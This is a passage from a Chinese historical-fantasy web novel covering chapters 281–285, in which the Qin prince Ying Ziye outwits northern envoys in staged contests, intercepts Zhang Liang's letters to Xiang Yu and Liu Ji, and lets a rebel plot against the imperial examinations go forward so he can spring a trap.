“在此关键时刻,绝对不容有任何闪失!”
他的声音带着铁一般的意志和冰冷的杀意。
“凡有异动者,先监控,后禀报。”
“若遇危及科举或咸阳安危之紧急情况…可先斩后奏!”
“诺!”
暗河成员感受到主上话语中的决绝,重重抱拳,身影迅速融入阴影,消失不见。
书房内,赢子夜独自立于窗前,望着窗外看似平静的咸阳城。
手中的博浪沙地契仿佛带着某种灼人的温度。
张良的沉寂,神秘商旅的潜入,北疆使臣的即将到来……
所有线索仿佛正在交织成一张巨大的网。
山雨欲来风满楼!!
而他,已然做好了撒网收网的准备。
第281章 吾等想要讨教六公子几招!
半月时光。
倏忽而过。
咸阳。
这座黑色的帝国心脏,因四方来使的陆续抵达,而呈现出一种不同于科举筹备的,另一种形式的喧嚣与隆重。
空气中仿佛都弥漫着一种外交场合特有的矜持而又暗藏机锋的气息。
通往咸阳的各条官道上。
旌旗招展,驼铃悠扬。
来自北方草原的羌人、狼族使者,骑着雄健的草原马,穿着厚重的皮袄,脸上带着风霜刻下的痕迹和一种属于游牧民族的粗犷与审视。
匈奴的使团则显得更加精悍。
眼神锐利如鹰,顾盼间带着毫不掩饰的野性与傲慢,却又不得不收敛几分。
小心翼翼地行走在秦军的“护送”之下。
犬戎等较小部落的使者则混杂其中,神情大多拘谨而忐忑,亦步亦趋地跟着大队。
这些使团队伍规模不一,皆携带着各自的贡礼——
成群的牛羊、珍贵的皮**、稀有的药材、以及一些充满异域风情的手工器物。
他们被沿途严阵以待,甲胄鲜明的秦军锐士所震慑。
也被关中平原的富庶与咸阳城的雄伟所震撼。
各种复杂的情绪交织在脸上!
所有使团在抵达咸阳城外时,均被早已等候在此的帝国典客署官员依礼接住。
这些秦吏身着玄端礼服,举止一丝不苟。
脸上带着程式化,既不显得过分热络也不失礼数的笑容。
严格按照既定的外交礼仪流程行事。
查验国书或部落信物后,清点贡礼,登记使团人员名录,安排入住指定的驿馆……
一切都在一种高效而冰冷的秩序下进行。
驿馆早已被彻底清理检查过数遍。
服务周到,供应无缺。
但无处不在若有似无的监视感,却让这些来自草原的豪雄们感到一种无形的束缚与压抑。
期间,并非没有波折。
有匈奴使者自恃勇力,欲携带弯刀入驿馆,被秦吏毫不客气地拦下。
双方发生了短暂的争执,气氛一度紧张。
最终在秦军士卒冰冷的目光和强硬的姿态下,匈奴使者悻悻然交出了武器。
亦有羌人首领试图以带来的美女“贿赂”接待官员,以求打探更多消息或获得更好待遇。
却被对方义正辞严地拒绝,碰了一鼻子灰。
这些小插曲,都被随行的黑冰台眼线一一记录在案,迅速呈报上去。
……
翌日。
晨曦穿透薄雾,将咸阳宫巨大的轮廓勾勒得愈发威严。
麒麟殿内,钟磬之声悠扬肃穆,百官依序而立,气氛比昨日更加庄重。
北疆各部使臣入宫觐见。
经过一夜的休整和消化,他们脸上的敬畏之色未褪,却多了一丝难以掩饰,属于草原民族的跃跃欲试!
在典客署官员的引导下。
他们依礼向御阶之上那尊模糊而威严的身影行跪拜大礼。
献上更加谦卑的颂词。
感念大秦皇帝陛下开设互市,赐予边地安宁的“天恩”。
冗长的礼仪流程过后,为首的匈奴右贤王,一个身材魁梧、面容粗犷的中年汉子,再次上前一步。
他先是按照礼节深深一躬,随即抬起头,目光大胆地扫过百官队列,用带着浓重口音的秦语,声音洪亮地问道:
“尊贵的大秦皇帝陛下!”
“您如太阳般照耀草原,您的恩德我们永世不忘!”
“昨日得见天朝威仪,我等深感震撼。”
“听闻陛下有一位六公子,文韬武略,英明神武,更是提出互市之策,令我部族受益匪浅,我等心中无比敬仰!”
“不知……今日可否有幸,得见六公子殿下真容?”
他的话语看似恭敬,实则带着一种草原民族特有的直白和试探。
一时间,所有使臣的目光都充满了好奇与期待,齐刷刷地望向百官队列。
御阶之上,珠帘之后传来嬴政平淡无波的声音:“子夜。”
“儿臣在。”
赢子夜应声出列,玄衣玉冠,身姿挺拔,面容平静地走到大殿中央,对着御座微微一礼,随即转身面向那些使臣。
刹那间,所有使臣的目光都聚焦在他身上!
见他如此年轻,却气度沉凝,渊渟岳峙,面对众人注视毫无怯色,不由都在心中暗赞了一声。
那匈奴右贤王眼中精光一闪,脸上露出更加“热切”的笑容,再次躬身道:
“原来您就是六公子殿下!果然英雄出少年!”
“殿下,我们草原上的儿郎,向来最崇拜真正的英雄和强者!”
“今日得见殿下,实在是三生有幸!”
“不知……我等能否冒昧,向殿下讨教几招?”
“也好让我等带回草原,传颂殿下之勇武?”
此言一出,殿内气氛瞬间变得有些微妙起来。
百官之中,不少人皱起了眉头。
这看似是讨教,实则是挑战!
若殿下应战,赢了是理所应当,若稍有闪失,则有损国威。
若是不应,又恐被这些胡人耻笑大秦皇子怯懦。
就在此时。
站在百官前列的胡亥忽然轻笑一声,走了出来。
他脸上带着一副为国分忧,维护礼法的模样,对着那些使臣朗声道:
“诸位使臣,此乃大秦朝堂,陛下面前,岂容如此放肆?”
“我六哥身份尊贵,岂能与诸位带来的勇士动手?”
“这岂非不分尊卑,有失体统?!”
他这话听起来冠冕堂皇,实则是在暗中挤兑赢子夜。
若赢子夜不敢应战,便可坐实一个“惜身”、“畏战”的名声。
然而,赢子夜却只是淡淡地瞥了胡亥一眼,随即抬手,止住了他还想继续“劝谏”的话语。
赢子夜目光平静地看向那匈奴右贤王以及其他使臣,唇角甚至勾起一抹若有若无的弧度,声音清朗,传遍大殿:
“无妨。”
“以武会友,亦是佳话。”
“陛下胸怀四海,想必也不会介意这小小的助兴之举。”
他话锋一转,语气依旧平和,却带着一种理所当然的居高临下。
“不过,本公子身为大秦皇子,若亲自下场,未免有些以大欺小之嫌。”
“这样吧……”
他目光扫向武将行列,朗声道:“钟离昧、樊哙!”
“末将在!”
二人立刻出列,甲叶铿锵,声如洪钟,一股沙场悍将的凛冽气息瞬间弥漫开来,令那些草原勇士都不由得侧目。
赢子夜对着使臣们微微一笑:
“这两位,乃是本公子麾下不成才的将领。”
“便让他们,陪诸位使臣带来的勇士,切磋几招,点
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到为止,以博陛下和诸位一笑,如何?”
他这番应对,可谓滴水不漏。
既大方接下了挑战,维护了帝国颜面,又不着痕迹地抬高了自身地位。
将直接交锋变成了下属代劳。
更一次性点出两员猛将,反而显得底气十足,深不可测!
那匈奴右贤王和众使臣闻言,面面相觑,没想到赢子夜如此轻易便化解了他们的试探,反而将了一军。
他们看着那两位气息彪悍的秦将,心知绝非易与之辈。
但话已出口,无法收回,只得纷纷躬身回礼:“多谢殿下成全!”
一场看似助兴,实则暗藏锋芒的较量,就此拉开序幕。
而赢子夜从容立于殿中,玄衣如墨,仿佛一切尽在掌握。
咸阳宫外,宽阔的青石广场被临时清空,作为比试的场地。
四周甲士环立,旌旗招展,气氛肃杀而隆重。
百官与使臣们则分列两侧观看台,目光皆聚焦于场中。
比试即将开始,赢子夜并未过多关注那些摩拳擦掌,跃跃欲试的草原勇士。
而是将钟离昧、樊哙,以及晓梦三人召至一旁。
三人肃立待命,气息或清冷如冰,或沉凝如山,或狂暴如火,皆是不凡。
赢子夜目光扫过他们,声音平静却带着一种不容置疑的指令,清晰地传入他们耳中。
“稍后上场,胜负输赢,皆是次要。”
他顿了顿,目光变得愈发深邃锐利。
“他们想借此机会,探我大秦武将之虚实,窥我大秦武力之深浅。”
他的嘴角勾起一抹冰冷的弧度。
“既然如此,来而不往非礼也。”
“本公子也要看看,这些号称草原雄鹰,荒漠孤狼的部族,究竟有多少斤两,藏着些什么压箱底的本事。”
他看向钟离昧。
“你的箭术,可测其反应与敏捷极限。”
目光转向樊哙:“你的勇力,可试其筋骨与爆发强弱。”
最后,他的目光落在清冷出尘的晓梦身上。
“至于大师…你的道家术法,或许能逼出一些……意想不到的东西。”
他的话语意味深长,三人瞬间心领神会。
殿下要的不仅仅是一场胜利,更是一场精准的“摸底”!
“故而。”
赢子夜最后强调,语气加重。
“不必追求速胜,更不必刻意相让。”
“稳住心神,逼他们拿出真本事!”
“看清楚他们的力量特点、招式习惯、乃至配合默契。”
“他们探你们的虚实时,你们…也要给本公子把他们里外看个通透!明白吗?”
“末将明白!”
“贫道自当奉从。”
三人齐声应道,眼中皆闪烁着了然与自信的光芒。
原来殿下之意在此!
这并非简单的比武助兴,而是一场无声的侦察与反侦察!
“去吧。”
赢子夜挥了挥手。
三人转身,走向广场中央,他们的步伐沉稳,气息内敛,却仿佛四把即将出鞘的利刃,带着一种洞悉一切的冷静。
赢子夜则负手而立,目光平静地望向场中,仿佛一位高明的棋手,已然布好了棋子。、
只等着对手落入彀中,一步步展现出所有的底牌。
这场比武,从这一刻起,性质已然完全不同!!
第282章 绝对优势,碾压之姿!
咸阳宫外。
青石广场,此刻成为了万众瞩目的焦点。
阳光照射在冰冷的青石板上,反射出刺目的光芒。
四周环立的玄甲卫士如同沉默的钢铁丛林,散发着令人心悸的肃杀之气。
百官与使臣分列两侧观看台,空气仿佛凝固,唯有战意在其中无声地碰撞、升腾。
第一场,钟离昧对羌族神射手。
那羌族勇士手持一张巨大的牛角硬弓。
臂膀肌肉虬结,眼神锐利如鹰,显然是其部族中**挑一的射雕手。
他傲然立于场中,带着草原射手特有的自信。
然而。
当钟离昧缓步上场,甚至未曾取出他那张闻名军中的陨星弓,只是随意从兵器架上取了一张制式长弓时,那羌族勇士眼中闪过一丝被轻视的怒意!!
比试内容并非简单的靶场射箭。
而是加入了移动、干扰等复杂条件。
内侍官抛出铜钱为号,需射中百步外瞬息移动的皮球,且需避开中途设置的障碍。
号令响起!
羌族勇士屏息凝神,弓开如满月,箭去似流星,精准地命中了目标,引来其部族使臣一阵喝彩。
轮到钟离昧,他却显得从容不迫。
甚至未曾刻意瞄准,只是随手搭箭,弓弦轻震,箭矢已如同长了眼睛般,以一种近乎诡异的弧线,绕过所有障碍,后发先至,精准地穿透了那飞速移动的皮球!
更令人骇然的是。
他的箭矢竟然后来居上!
将羌族勇士那支已然命中目标的箭矢从尾部劈开,钉在了箭靶之上!!!
一箭双雕,神乎其技!
全场瞬间死寂,随即爆发出震天的惊呼与喝彩!
那羌族神射手脸上的傲然彻底消失。
只剩下难以置信的震惊与颓然。
他对着钟离昧深深一躬,心服口服。
钟离昧却只是淡淡还礼,退下场时,目光不经意地扫过匈奴使团中几名同样精悍的射手,将他们下意识的握弓动作和眼神变化记于心中。
第二场,樊哙对匈奴力士。
那匈奴力士身高九尺,壮硕如熊,浑身肌肉盘虬,怒吼着上场,每踏一步都仿佛地面在震动。
他表演了手撕牛皮,头碎青砖。
彰显着绝对的力量,气焰嚣张无比!
樊哙咧嘴一笑,露出森白的牙齿,他甚至连铠甲都没脱,大步走到场中一座需要数人合抱的青铜巨鼎前。
那是宫中用来镇火的装饰物,重量惊人!
在众人惊愕的目光中,樊哙吐气开声,双臂肌肉猛然贲张,竟生生将那巨鼎高举过顶!!
不仅如此,他更是双臂发力,猛地将巨鼎向上抛起数尺!
待其落下时,再次稳稳接住!
面不红,气不喘!!
“嘿!这鼎轻飘飘的,不够劲啊!”
樊哙声如洪钟,哈哈大笑着将巨鼎轻轻放回原处,地面发出一声沉闷的巨响。
那匈奴力士看得目瞪口呆!
脸上的嚣张气焰早已荡然无存,只剩下骇然与敬畏。
力量差距,肉眼可见!
樊哙下场时,看似粗豪的目光却仔细扫过那些部落勇士的体格和发力方式。
尤其是几个看似瘦弱却下盘极稳的犬戎武士,被他重点记下。
第三场,晓梦对狼族巫祭。
这场比试最为诡异!
那狼族巫祭身着繁复的兽骨羽毛服饰。
脸上涂满油彩,手持骨杖,口中念念有词。
跳着充满原始野性的舞蹈,似乎能引动某种神秘力量,令人心神恍惚。
他甚至召唤出几条毒蛇,蜿蜒游向晓梦。
观看台上不少文官都面露惧色,使臣们则带着期待与得意。
然而,晓梦始终静立原地,一袭紫衣道袍,清冷如仙,仿佛周遭一切与她无关。
直到毒蛇逼近。
她才缓缓抬起纤纤玉指,指尖萦绕起淡淡如烟霞般的氤氲之气。
“和其光,同其尘,湛兮似或存。”
她轻声吟诵,那几条狰狞的毒蛇竟如同遇到无形屏障,在她身外尺许之地逡巡不前。
继而,变得温顺异常。
甚至反过来随着她指尖的引导,温顺地游回了那狼族巫祭的脚下!
紧接着。
晓梦眸光微凝。
并未见她有任何动作,那巫祭手中的骨杖竟无故自燃!
幽蓝色的火焰瞬间将其吞没,却又在下一秒骤然熄灭,留下完好无损的骨杖,仿佛刚才的一切只是幻觉!
那狼族巫祭吓得魂飞魄散,连连后退。
看向晓梦的眼神如同见到神魔,扑通一声跪倒在地,不住叩拜!
口中叽里咕噜地说着胡语,显然是在求饶。
晓梦面无表情,只是微微颔首,飘然下场。
她的目光清冷地扫过所有使臣,尤其是在几个看似普通,
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眼神却异常深邃的随从身上稍作停留。
三场比试,大秦皆以绝对优势,近乎碾压的姿态获胜!
观看台上,先是死一般的寂静,随即爆发出雷鸣般的欢呼!
大秦百官扬眉吐气,自豪之情溢于言表。
而各部族使臣,则是个个面色震惊、骇然,乃至带着一丝恐惧。
他们原本以为大秦只是依仗军阵和法律,没想到个人勇武与奇术竟也如此可怕!
那点借比武窥探虚实,甚至打压大秦气焰的心思,被彻底碾得粉碎!
匈奴右贤王率先反应过来。
连忙带领众使臣离席,走到御阶之前,深深躬身。
声音带着前所未有的恭敬与畏惧。
“大皇帝陛下圣明!”
“大秦果然人才辈出,天威浩荡!”
“我等心服口服!”
“今日得见如此英豪,实乃三生有幸!”
其他使臣也纷纷附和,赞美之词不绝于耳,再不敢有丝毫怠慢。
珠帘之后。
嬴政那平淡无波的声音终于带上了一丝显而易见的满意。
“彩!”
“子夜麾下,果有虎贲之士!”
“扬我国威,当赏!”
立刻有内侍官高声宣读封赏旨意,赏赐钟离昧、樊哙、晓梦三人金银帛缎无数,官爵亦有提升。
三人上前谢恩,神色平静,并未因厚赏而失态。
嬴政的目光似乎扫过下方那些神色各异的使臣,缓缓开口,声音带着一种不容拒绝的帝王气度。
“既然诸位使臣远道而来,恰逢我大秦即将举行科举大典,遴选天下英才。”
“诸位不妨多留些时日,也好亲眼看看,我大秦是如何海纳百川,汇聚四方贤才的。”
这话看似邀请,实则是命令,更是一种自信的展示。
各部使臣此刻哪敢有半分异议,纷纷躬身应诺!
“多谢皇帝陛下恩典!”
“我等荣幸之至,定当好好观摩天朝盛事!”
他们心中虽然忐忑,却也生出了一丝强烈的好奇。
这科举,究竟是何等场面?
竟然能让大秦皇帝如此重视,并自信地展示给他们这些“外人”观看?
赢子夜静立一旁,看着这一幕,面色平静无波。
父皇此举,正合他意。
让这些胡人亲眼看看大秦的强盛与人才济济,远比千军万马的威慑更能让他们心生敬畏。
第283章 七国宝盒尽归于秦!!!
咸阳宫内,夜宴正酣。
丝竹管弦之声悦耳,舞姬身姿曼妙。
觥筹交错间,弥漫着酒肉香气与外交场合特有的虚伪而热络的气氛。
北疆各部使臣经过白日的震慑。
此刻显得格外“恭顺”。
不断向着御阶之上的始皇和周围的秦国重臣敬酒,说着各种夸大其词的赞美之词。
赢子夜端坐于席间,面带淡淡的合乎礼仪的微笑,偶尔举杯回应。
但那双深邃的眼眸深处,却是一片冷静的疏离。
他对这种充斥着虚与委蛇的宴会并无多大兴趣。
于他而言,白日那场“助兴”比试所获取的信息,远比眼前的歌舞酒肉重要得多。
简单应酬了几轮,向父皇示意后,赢子夜便带着钟离昧与晓梦悄然离开了喧嚣的宫殿。
……
回到六公子府书房,门扉合拢。
瞬间将外间的浮华与嘈杂隔绝开来。
书房内烛火通明,气氛却与宫宴截然不同,变得严肃而专注。
赢子夜屏退左右,只留下钟离昧与晓梦二人。
他褪去了宴席上那副温和的面具,神色恢复了一贯的冷静与锐利。
“今日辛苦二位了。”
赢子夜示意二人坐下,目光首先看向钟离昧。
“钟离,今日与你交手那羌族射手,你如何看?”
钟离昧沉吟片刻,认真回答道。
“回殿下,那人确是一名好手,臂力强劲,目力极佳,于固定靶而言,堪称神射。”
“然……”
他话锋一转,带着属于顶尖箭手的自信与判断。
“其应变稍显迟滞,尤其对于复杂轨迹移动目标的预判,远不及我军中精锐。”
“且其弓术虽猛,却失之灵巧,被末将找到破绽,故而落败。”
赢子夜微微颔首,不置可否,又看向晓梦。
“大师呢?那狼族巫祭,其术如何?”
晓梦眸光清冷,声音平淡无波,却带着一种超然的洞察。
“旁门左道,惑人心神罢了。”
“借草药、声律、以及些许驯兽之技,装神弄鬼。”
“其核心并非自身修为,而是依赖外物与仪式,遇真正心志坚定或通达天地之理者,便不堪一击。”
“与道家正统术法,云泥之别。”
两人皆是从技术层面分析了对手的优劣。
并得出了对方“不如己方”的结论,这确实是事实。
然而,赢子夜听完,却缓缓摇了摇头。
他站起身,踱步到窗前,望着窗外沉沉的夜色,声音变得深沉起来。
“你们看到的,是他们的败,是他们的不足。”
“这没错。”
他转过身,目光如炬,扫过二人:“但本公子看到的,却不止于此。”
他看向钟离昧,目光锐利。
“草原部族,生于马背,长于弓弦。”
“骑射乃是其生存之本,浸入血脉。”
“今日上场之人或许不如你,但这绝不意味着广袤草原之上,没有能在箭术上与你一较高下,甚至……更胜一筹之人!”
“或许,今日之败,在某些人眼中,正是故意示弱,让我们低估其真正实力的障眼法?”
钟离昧闻言,脸上的自信稍稍收敛,眉头微微蹙起,陷入了沉思。
殿下所言,并非没有可能!
他确实有些被胜利影响了判断。
赢子夜又看向晓梦,语气凝重。
“还有那巫祭之术。”
“大师认为其是左道旁门,依赖外物,不堪一击。”
“然,其能凝聚部族人心,激发战士血气,甚至可能掌握着一些我们并不了解,关于草原毒物、疫病或是诡异环境的秘法。”
“两军对垒,并非皆是堂堂正正之师。”
“这些看似不入流的‘巫术’,在特定时候,或许能产生意想不到的破坏力。”
“我们对他们的了解,究竟有多少?”
晓梦那古井无波的脸上,也首次出现了一丝极细微的波动。
清冷的眼眸中闪过一丝思索。
最后,赢子夜的目光扫过二人,声音低沉却带着一种战略层面的高度。
“草原各部,征伐不断,其生存环境之酷烈,远胜中原。”
“其麾下战士,自幼便于杀戮中成长,可谓人人善战!”
“今日樊哙虽以神力碾压,但那只是个体力量的极致。”
“若论集团冲锋,悍不畏死的野性,以及适应各种恶劣地形的能力,我大秦锐士,又真能稳占上风吗?”
他顿了顿,问出了一个最关键的问题。
“若他日,帝国与北疆诸部再次开战,我们对他们真正实力的评估,若仅建立在今日这般‘胜利’的基础上,是否……太过乐观和危险了?”
这一连串的问题,如同重锤,敲打在钟离昧和晓梦的心头!!
他们原本因胜利而产生的些许轻松感瞬间消失无踪,取而代之的是一种深沉的警醒与反思。
殿下看得远比他们更深、更远!
他并非沉浸在胜利的喜悦中,而是透过胜利的表象,看到了其下隐藏的潜在威胁和情报价值的另一面!
钟离昧重重抱拳,神色肃然。
“殿下教诲的是!是末将短视了!”
“日后定当更加谨慎,绝不因一时胜负而轻视任何对手!”
晓梦也微微颔首,清冷的声音中多了一丝郑重。
“贫道受教。”
“万物负阴而抱阳,冲气以为和。”
“可见之力背后,亦有不
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可见之险。”
“确需慎之又慎。”
赢子夜看着二人醒悟的神情,微微颔首。
“明白便好。”
“日后与外界接触,无论是胡人还是诸子百家,需时刻牢记!”
“眼见,未必为实。”
“胜,亦需知何以胜,败,更需知何以败,乃至……对方是否真败。”
“诺!”
二人齐声应道,心中对这位年轻主上的敬畏,更深了一层。
他的目光,总是能穿透迷雾,直指最关键的核心。
今夜这场看似简单的问话,实则是一次极其重要的点拨,让他们得以从更高的视角审视自身与对手。
恰在此时。
赢子夜怀中,一枚不起眼的青色玉符忽然散发出微弱的温热,并伴随着极其细微,只有他能感知的能量波动。
是暗河的紧急通讯符!
赢子夜神色一凛,立刻抬手示意钟离昧与晓梦噤声。
他指尖注入一丝真气,玉符表面流光微转,一个压抑着激动的声音直接响起。
“主上!找到了!宝盒找到了!”
“就在博浪沙一处极其隐蔽的废弃祭坛暗格内!”
“其上确有阴阳术与机关术双重封印,但已被我等待命的阴阳家与公输家好手联手破解!”
“宝盒完好无损!”
赢子夜眼中寒光骤然爆射!
如同万年冰潭被投入了一块烧红的烙铁!
博浪沙!
张良那份地契果然指向那里!
韩国宝盒,这件牵扯了无数恩怨和苍龙七宿秘密的关键之物,终于落入了他的手中!
“立刻将宝盒带回!”
“沿途加派三倍人手,启用最高级别护送方案!”
“若有闪失,提头来见!”
赢子夜的声音通过通讯符,冰冷而急促地下达命令,不容丝毫置疑。
“诺!”
通讯符那边的声音斩钉截铁。
几乎就在通讯符光芒熄灭的同一时间,书房门外传来赵弋苍低沉的声音。
“主上,有急报!”
“进!”
赵弋苍快步走入,他脸色凝重,手中竟捧着两只羽毛略显凌乱,脚上系着细小竹管的信鸽!
那信鸽显然经过极专业的处理,陷入了某种昏睡状态。
“主上!一刻钟前,潜伏在张良所居客栈附近的夜枭发现其悄然放出信鸽,当即动用石子击落,并未惊动对方!”
“经查验,此二鸽正是飞往西楚和神农架深处方向!”
赵弋苍语速极快,将信鸽呈上。
赢子夜接过那两只昏睡的信鸽,取下它们腿上的竹管,眼中冰冷的笑意愈发浓烈。
“终于……忍不住了么?”
“本公子还以为他能一直龟缩下去。”
第284章 咸阳,百恶汇聚!
赢子夜小心翼翼地倒出竹管内的绢条,展开。
目光快速扫过其上密密麻麻的,属于张良那特有的清秀却暗藏风骨的笔迹。
越看,他脸上的冷笑越是冰寒刺骨!
第一封,是给隐匿于西楚深山的项羽!
信中详细描述了科举之日咸阳的兵力布防“弱点”,实则为张良根据观察推测,却不知早已被赢子夜调整。
他鼓动其率领项氏精锐,于考试最关键时刻突袭考院,制造最大混乱!
宣称要:“焚尽暴秦选士之梦,复楚人血气之勇!”
第二封,竟是给藏匿在神农架中的刘季!
内容大同小异,亦是鼓动其在同一时间,从另一方向发动袭击,里应外合。
并许诺事成之后,助其壮大农家,成就侠魁之位!
两封信,都将时间精准地定在了科举最为关键,守军注意力最为集中的时刻!
其心之毒,其计之狠,堪称绝户!
“好!”
“好一个小圣贤庄的三当家!”
“好一个谦谦君子,儒雅贤良!”
赢子夜猛地将绢条拍在案上,声音中充满了毫不掩饰的讥讽与怒意。
“这手段,这谋划,这般视万千生灵如草芥的狠辣!”
“怕是令专研刑名的法家,精通杀伐的兵家,都望尘莫及吧!”
他之前虽知张良心怀反意,却也没料到其竟能做出如此疯狂且不计后果的计划!
这已不仅仅是反秦。
更是要拉上无数无辜士子、百姓乃至整个咸阳陪葬!
旁边的钟离昧和晓梦虽不知具体内容,但听到赢子夜的话,感受到那股冰冷的怒意,也知必然是极其恶毒的阴谋,神色皆变得无比肃穆。
赢子夜深吸一口气,强行压下翻涌的杀意,眼中闪烁着一种将计就计的冷酷光芒。
他拿起那两份密信,重新卷好,递还给赵弋苍。
“将密信原样放回,信鸽……放出去。”
赢子夜的声音平静下来,却带着一种令人胆寒的决断。
“既然他张良如此‘大方’,给了我们这样一个将逆贼一网打尽的绝佳机会,我们岂能辜负他的‘美意’?”
赵弋苍瞬间明白了赢子夜的意图。
这是要假意中计,引蛇出洞,请君入瓮!!
他眼中闪过兴奋与嗜血的光芒,重重抱拳。
“诺!卑职这就去办!定让他们的消息,‘平安’送达!”
赵弋苍迅速带着信鸽退下。
书房内,赢子夜负手而立,望向窗外漆黑的夜空,嘴角勾起一抹冰冷至极的弧度。
棋盘已经摆好,棋子正在落下。
只是这一次,执棋之人,究竟是谁呢?
张良,你这份“大礼”,本公子收下了!
待到科举之日,便是你这“谋圣”…以及所有牛鬼蛇神的末日!
……
西楚。
云梦泽深处,瘴气弥漫,古木参天。
一处隐蔽的山洞内,火光摇曳,映照着项羽那张英武却因长期逃亡而略显憔悴的脸庞。
他正擦拭着那柄从不离身的破阵霸王枪,枪尖寒芒吞吐,一如他眼中压抑的不甘与戾气。
忽然,洞外传来一阵急促的脚步声。
项氏一族残部中最为机敏的项庄,捧着一只羽毛湿漉,略显疲惫的信鸽快步而入,脸上带着难以抑制的激动。
“少主!咸阳来的飞鸽!”
项羽猛地抬头,眼中精光爆射!
他一把抓过信鸽,解下它腿上的细小竹管,动作甚至因急切而显得有些粗鲁。
他迅速取出其中的绢条,就着火光展开。
目光扫过那熟悉的属于张良的笔迹,呼吸逐渐变得粗重起来。
信中的内容,如同一点火星,瞬间将他心中积压已久的**、仇恨与毁灭欲望彻底点燃!
“好!好!好!”
他连说三个好字,每一个字都仿佛从牙缝中挤出来,带着滔天的杀意和一种近乎疯狂的兴奋。
“天赐良机!果然是张良先生!他从未忘记我等!”
他猛地站起身,高大的身影在火光投下巨大如同魔神般的阴影。
霸王枪重重顿在地上,发出沉闷的巨响,震得整个山洞仿佛都在颤抖。
“暴秦无道,开科取士,妄想断我六国根基本!”
“殊不知其死期将至!”
项羽的声音如同滚雷,在山洞中回荡,充满了令人心悸的暴戾。
“传令下去!所有能战之士,即刻准备!随我潜入咸阳!”
他眼中燃烧着复仇的火焰,仿佛已经看到了考院在烈火中燃烧,秦吏在惨叫中奔逃的景象。
“这一次,我要赢子夜,要嬴政老儿,要整个咸阳…为我项氏一族,为我叔父血债血偿!!!”
……
与此同时。
神农架莽莽群山之中。
刘季看着手中同样由信鸽送来的密信,脸
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上的表情却与项羽截然不同。
他没有咆哮,没有激动的怒吼,只是一遍又一遍地仔细读着绢条上的每一个字。
那双总是带着几分痞气和狡黠的眼睛里,闪烁着极其复杂的光芒。
有意动,有野心,但更多的却是深深的警惕和算计!
他周围的兄弟们则早已按捺不住,一个个眼睛放光,激动地围了上来。
“大哥!是张良先生的信?是不是机会来了?!”
“**!在这山里当野人,老子早就受够了!”
“大哥!干吧!搏一把!”
刘季抬起头,目光扫过这群面黄肌瘦,却因看到希望而激动不已的兄弟!
他将密信缓缓攥紧,脸上忽然露出了那标志性带着几分无赖又充满煽动力的笑容。
“兄弟们!”
他声音提高,拍了拍手。
“咱们苦苦等待的机会……**终于来了!”
“哦吼!”
众人顿时发出一阵压抑的欢呼。
“张良先生已经在咸阳给咱们铺好了路!”
刘季挥舞着拳头,眼中闪烁着野心的火焰。
“暴秦科举,守卫空虚!正是咱们大干一场,扬名立万的好时候!”
“只要这事成了,荣华富贵,唾手可得!”
“再也不用躲在这山里啃树皮了!”
他的话极具煽动性,让这群早已绝望的汉子们热血沸腾,纷纷嚎叫着响应。
“不过!”
刘季话锋一转,脸色陡然变得“严肃”起来。
“咸阳是龙潭虎穴,咱们可不能蛮干!”
“都给我把招子放亮点,手脚放麻利点!”
“悄悄入城,锣鼓喧天的不要!”
“一切,听我号令!”
“都听大哥的!”
“大哥说怎么干,我们就怎么干!”
刘季满意地点点头,压低声音:“好!收拾东西,咱们也……潜过去!”
他转过身,望向咸阳方向时,脸上的笑容却微微收敛,眼底深处掠过一丝极其隐秘的忧虑与不安。
张良的计划看似完美,但…真的会如此顺利吗?
那位六公子赢子夜,可不是易与之辈啊。
然而,箭已搭在弦上,不得不发。
这或许是他们唯一翻身的机会了。
两股暗流,怀着不同的目的与心态,却因同一封密信,开始向着帝国的中心。
咸阳!
悄然涌动,潜伏而去……
第285章 械斗!
咸阳城。
随着科举之日的临近,已彻底化作一片士子的海洋。
大街小巷,随处可见身着各色儒袍,操着不同口音的学子。
他们或踌躇满志地交谈,或行色匆匆地赶往书馆温**,或好奇地打量着这座帝国的都城。
喧嚣声、读书声、车马声交织在一起,充满了蓬勃却又紧张的活力。
然而,在这片看似平和的浪潮之下。
一些不易察觉的暗流,正悄然涌动……
城中最为繁华的“望京楼”三楼雅间,临窗的最佳位置。
赢子夜一袭玄色常服,并未刻意遮掩容貌,只是静静地坐在那里,面前摆着一壶清酒,几样精致点心。
他目光平静地俯瞰着楼下熙熙攘攘的人流,仿佛一位闲来无事,观察市井的普通贵公子。
钟离昧如同最忠诚的护卫,沉默地侍立在他身后不远处,目光锐利如鹰。
虽看似放松,实则全身肌肉紧绷。
随时可以爆发出致命的攻击。
窗棂被轻轻叩响三声,节奏特殊。
“进。”
赢子夜并未回头。
雅间的门被推开,一个打扮成普通商贩模样的男子低头走了进来,动作自然地将一筐鲜果放在门口。
随即,走到赢子夜身旁,假装介绍货物,声音压得极低。
“公子,城西悦安客栈,新入住七名士子,籍贯登记为楚地,言行举止虽极力模仿,然步伐沉稳,虎口有厚茧,目光锐利且习惯性扫视四周,不似读书人,更似行伍之辈。”
“城东聚贤楼,有三名游学士子终日饮酒,却极少与人交谈,多次试图接近考院外围区域窥探……”
来人语速极快,却条理清晰。
将暗河监控到的可疑人员的落脚点,行为特征一一禀报。
这些人,显然便是混入士子人流中的项羽部下。
赢子夜端起杯盏饮酒,神色没有任何变化,仿佛只是在听一件与己无关的闲事。
直到来人禀报完毕,他才淡淡开口,声音平静无波。
“可曾发现刘季及其麾下的踪迹?”
那乔装的暗河成员摇了摇头,声音带着一丝遗憾。
“回公子,暂未发现。”
“神农架那边传来的最后消息是他们已动身,但入咸阳后便如同泥牛入海,消失无踪。”
“刘季此人,似乎比项羽的人更擅隐藏。”
赢子夜眼中闪过一丝不易察觉的冷光。
刘季这只老狐狸,果然比项羽更难对付。
“继续监控,项羽的人,既然已经露头,便给本公子牢牢盯死他们的落脚点和所有接触过的人!”
“一草一木都不许放过!”
赢子夜指令清晰。
“但记住,绝不可打草惊蛇。”
“本公子要看的,是他们所有人!”
“诺!属下明白!”
暗河成员重重点头。
“去吧。”
暗河成员如同来时一样,自然地提起果筐,躬身退出了雅间,仿佛只是一个完成送货任务的寻常小贩。
雅间内重归寂静。
赢子夜的目光再次投向窗外,落在那些川流不息的人群中。
他的眼神深邃如古井,仿佛能穿透无数张面孔,精准地锁定那些隐藏的“棋子”。
钟离昧低声道:“殿下,是否要加派人手,全城搜捕刘季?”
赢子夜微微摇头,唇角勾起一抹冰冷的弧度。
“不必,他既然来了,便总会露出尾巴。”
“现在一动,不如一静。”
“我们要等的鱼,还没全部入网。”
他一口气喝完盏中清酒,语气淡漠却带着绝对的掌控!
“让网再张得大一些。”
就在这时。
